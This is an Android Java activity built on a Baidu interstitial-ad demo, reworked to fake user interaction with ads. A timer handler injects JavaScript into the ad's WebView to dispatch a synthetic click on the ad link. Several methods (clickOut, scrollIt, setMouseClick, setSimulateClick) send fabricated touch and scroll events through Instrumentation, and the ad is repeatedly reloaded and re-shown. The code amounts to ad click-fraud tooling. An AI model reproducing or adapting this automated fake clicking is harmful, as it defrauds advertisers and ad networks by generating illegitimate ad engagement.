package com.baidu.mobads.demo.main;

import java.util.List;
import java.util.Timer;
import java.util.TimerTask;

import com.meitu.wheecam1.R;
import com.umeng.analytics.MobclickAgent;

import android.app.Activity;
import android.app.ActivityManager;
import android.app.Instrumentation;
import android.app.ActivityManager.RunningTaskInfo;
import android.content.ComponentName;
import android.content.Context;
import android.graphics.Rect;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.os.SystemClock;
import android.util.Log;
import android.view.KeyEvent;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
import android.view.Window;
import android.view.WindowManager;
import android.view.View.OnClickListener;
import android.webkit.WebView;
import android.widget.Button;

import com.baidu.mobads.InterstitialAd;
import com.baidu.mobads.InterstitialAdListener;

// import com.baidu.mobads.standarddemo.R;

public class InterstitialAdActivity extends Activity {

	InterstitialAd interAd;
	private Boolean hasScheled = false;
	private Button btn;
	private int loadNum = 0;
	int interval = 5 * 1000;//

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.interstitialad);

		String adPlaceId = "2574789"; // 重要：请填上您的广告位ID，代码位错误会导致无法请求到广告
		interAd = new InterstitialAd(this, adPlaceId);
		interAd.setListener(new InterstitialAdListener() {

			@Override
			public void onAdClick(InterstitialAd arg0) {
				Log.i("InterstitialAd", "onAdClick");
			}

			@Override
			public void onAdDismissed() {
				Log.i("InterstitialAd", "onAdDismissed");
				// interAd.loadAd();
			}

			@Override
			public void onAdFailed(String arg0) {
				Log.i("InterstitialAd", "onAdFailed");
				if (loadNum++ < 10) {
					showAd();
				}
			}

			@Override
			public void onAdPresent() {
				Log.i("InterstitialAd", "onAdPresent");
				if (!hasScheled) {
//					timer.schedule(task, interval, interval);
//					hasScheled = true;
				}
			}

			@Override
			public void onAdReady() {
				Log.i("InterstitialAd", "onAdReady");
				if (loadNum++ < 10) {
					showAd();
				}
			}

		});
		interAd.loadAd();
		/*
		 * btn = (Button) this.findViewById(R.id.btn_interstitial);
		 * btn.setOnClickListener(new OnClickListener() {
		 * 
		 * @Override public void onClick(View arg0) { showAd(); } });
		 */

	}

	private void showAd() {
		if (interAd.isAdReady()) {
			interAd.showAd(InterstitialAdActivity.this);
		} else {
			interAd.loadAd();
		}
	}

	Timer timer = new Timer();
	Handler handler = new Handler() {

		public void handleMessage(Message msg) {
			switch (msg.what) {
			case 1:
				// ViewGroup group = (ViewGroup)adView.getChildAt(0);
				// ViewGroup group1 = (ViewGroup)group.getChildAt(0);
				// setSimulateClick(getContentView(),10,10);
				// adView.performClick();

				Window window = getWindow();

				ViewGroup group = (ViewGroup) window.getDecorView();
				ViewGroup group1 = (ViewGroup) group.getChildAt(1);
				ViewGroup group2 = (ViewGroup) group1.getChildAt(0);
				WebView group3 = (WebView) group2.getChildAt(0);
				group3.loadUrl("javascript:var documenter = document.getElementById('HTMLwrapper').contentWindow.document;var children = documenter.getElementsByTagName('a');var evt = documenter.createEvent('MouseEvents');evt.initEvent('click', true, true); children[children.length-1].dispatchEvent(evt);");

				break;
			case 4:
				// ViewGroup view = (ViewGroup)adContainer.getChildAt(0);
				// sendToBack();
				// isApplicationBroughtToBackground(getApplicationContext());
				// Intent intent = new
				// Intent(BannerAdActivity.this,AppActivity.class);

				// startActivity(intent);
				// setSimulateMove(getWindow().getDecorView(),50,50);
				// clickOut(); 这个功能已经测试好了

//				scrollIt();
				break;
			case 2:
				clickOut();
				break;
			case 3:
				timer.cancel();
				setResult(2);
				finish();
				break;
			}
			super.handleMessage(msg);
		}

	};

	public void setMouseClick() {
		// MotionEvent evenDownt =
		// MotionEvent.obtain(System.currentTimeMillis(),
		// System.currentTimeMillis() + 100,
		// MotionEvent.ACTION_DOWN, 100, 1000, 0);
		// dispatchTouchEvent(evenDownt);
		// MotionEvent eventUp = MotionEvent.obtain(System.currentTimeMillis(),
		// System.currentTimeMillis() + 100,
		// MotionEvent.ACTION_UP, 100, 1000, 0);
		// dispatchTouchEvent(eventUp);
		// evenDownt.recycle();
		// eventUp.recycle();
		new Thread(new Runnable() {

			@Override
			public void run() {
				// TODO Auto-generated method stub
				Instrumentation inst = new Instrumentation();
				// inst.sendPointerSync(MotionEvent.obtain(SystemClock.uptimeMillis(),SystemClock.uptimeMillis(),
				// MotionEvent.ACTION_DOWN, 400, 1200, 0));
				// inst.sendPointerSync(MotionEvent.obtain(SystemClock.uptimeMillis()+10,SystemClock.uptimeMillis()+10,
				// MotionEvent.ACTION_UP, 400, 1200, 0));
				//
				// inst.sendPointerSync(MotionEvent.obtain(SystemClock.uptimeMillis(),SystemClock.uptimeMillis(),
				// MotionEvent.ACTION_DOWN, 200, 1200, 0));
				// inst.sendPointerSync(MotionEvent.obtain(SystemClock.uptimeMillis()+10,SystemClock.uptimeMillis()+10,
				// MotionEvent.ACTION_UP, 200, 1200, 0));
				try {
					int y = btn.getTop();
					int x = btn.getLeft();
					inst.sendPointerSync(MotionEvent.obtain(
							SystemClock.uptimeMillis(),
							SystemClock.uptimeMillis(),
							MotionEvent.ACTION_DOWN, 10, 100, 0));
					inst.sendPointerSync(MotionEvent.obtain(
							SystemClock.uptimeMillis() + 100,
							SystemClock.uptimeMillis() + 100,
							MotionEvent.ACTION_UP, 10, 100, 0));
				} catch (Exception e) {
					// TODO: handle exception
					e.printStackTrace();
				}

			}
		}).start();

	}

	public boolean isApplicationBroughtToBackground(final Context context) {
		ActivityManager am = (ActivityManager) context
				.getSystemService(Context.ACTIVITY_SERVICE);
		List<RunningTaskInfo> tasks = am.getRunningTasks(1);
		if (!tasks.isEmpty()) {
			ComponentName topActivity = tasks.get(0).topActivity;
			String packageName = topActivity.getPackageName();
			if (!topActivity.getPackageName().equals(context.getPackageName())) {
				return true;
			}
		}
		return false;
	}

	int countTask = 1;
	TimerTask task = new TimerTask() {

		public void run() {
			Message message = new Message();
			message.what = countTask++;
			handler.sendMessage(message);

		}

	};

	private void setSimulateClick(View view, float x, float y) {
		long downTime = SystemClock.uptimeMillis();
		final MotionEvent downEvent = MotionEvent.obtain(downTime, downTime,
				MotionEvent.ACTION_DOWN, x, y, 0);
		downTime += 500;
		final MotionEvent upEvent = MotionEvent.obtain(downTime, downTime,
				MotionEvent.ACTION_UP, x + 10, y + 10, 0);
		view.onTouchEvent(downEvent);
		view.onTouchEvent(upEvent);
		view.dispatchTouchEvent(downEvent);
		view.dispatchTouchEvent(upEvent);
		downEvent.recycle();
		upEvent.recycle();
	}

	private View getContentView() {
		Window window = getWindow();
		ViewGroup group = (ViewGroup) window.getDecorView();
		ViewGroup group2 = (ViewGroup) group.getChildAt(1);
		View view = group2.getChildAt(0);
		int x = view.getLeft();
		int y = view.getTop();
		return group2.getChildAt(0);
		/*
		 * getChildAt(1).getChildAt(0); WindowManager manager =
		 * (WindowManager)getSystemService(Context.WINDOW_SERVICE); Class
		 * manageClass = manager.getClass();
		 * 
		 * try { Field field = manageClass.getDeclaredField("mGlobal");
		 * field.setAccessible(true); Object global; try { global =
		 * field.get(manager); Class globalClass = global.getClass(); Field
		 * mViewField = globalClass.getDeclaredField("mViews");
		 * mViewField.setAccessible(true); ArrayList<View> mViews =
		 * (ArrayList<View>)mViewField.get(global); View view = mViews.get(2);
		 * return view;
		 * 
		 * } catch (IllegalAccessException e) { // TODO Auto-generated catch
		 * block e.printStackTrace(); } catch (IllegalArgumentException e) { //
		 * TODO Auto-generated catch block e.printStackTrace(); }
		 * 
		 * 
		 * } catch (NoSuchFieldException e) { // TODO Auto-generated catch block
		 * e.printStackTrace(); } // ViewGroup rootView = (ViewGroup)
		 * getWindow().getDecorView(); return null;
		 */
	}

	private void scrollIt() {
		new Thread(new Runnable() {

			@Override
			public void run() {
				// TODO Auto-generated method stub
				Instrumentation inst = new Instrumentation();
				try {

					inst.sendPointerSync(MotionEvent.obtain(
							SystemClock.uptimeMillis(),
							SystemClock.uptimeMillis(),
							MotionEvent.ACTION_DOWN, 300, 600, 0));
					inst.sendPointerSync(MotionEvent.obtain(
							SystemClock.uptimeMillis() + 10,
							SystemClock.uptimeMillis() + 10,
							MotionEvent.ACTION_MOVE, 300, 610, 0));
					inst.sendPointerSync(MotionEvent.obtain(
							SystemClock.uptimeMillis() + 20,
							SystemClock.uptimeMillis() + 20,
							MotionEvent.ACTION_UP, 300, 620, 0));

				} catch (Exception e) {
					// TODO: handle exception
					e.printStackTrace();
				}

			}
		}).start();
	}

	public void clickOut() {
		new Thread(new Runnable() {

			@Override
			public void run() {
				Rect frame = new Rect();
				getWindow().getDecorView().getWindowVisibleDisplayFrame(frame);

				int statusBarHeight = frame.top;

				// TODO Auto-generated method stub
				Instrumentation inst = new Instrumentation();
				inst.sendPointerSync(MotionEvent.obtain(
						SystemClock.uptimeMillis(), SystemClock.uptimeMillis(),
						MotionEvent.ACTION_DOWN, 10, statusBarHeight + 10, 0));
				inst.sendPointerSync(MotionEvent.obtain(
						SystemClock.uptimeMillis() + 10,
						SystemClock.uptimeMillis() + 10, MotionEvent.ACTION_UP,
						10, statusBarHeight + 10, 0));
				// inst.sendKeyDownUpSync(KeyEvent.KEYCODE_BACK);
			}
		}).start();

	}

	public void onResume() {
		super.onResume();
		MobclickAgent.onResume(this);
	}

	public void onPause() {
		super.onPause();
		MobclickAgent.onPause(this);
	}
}
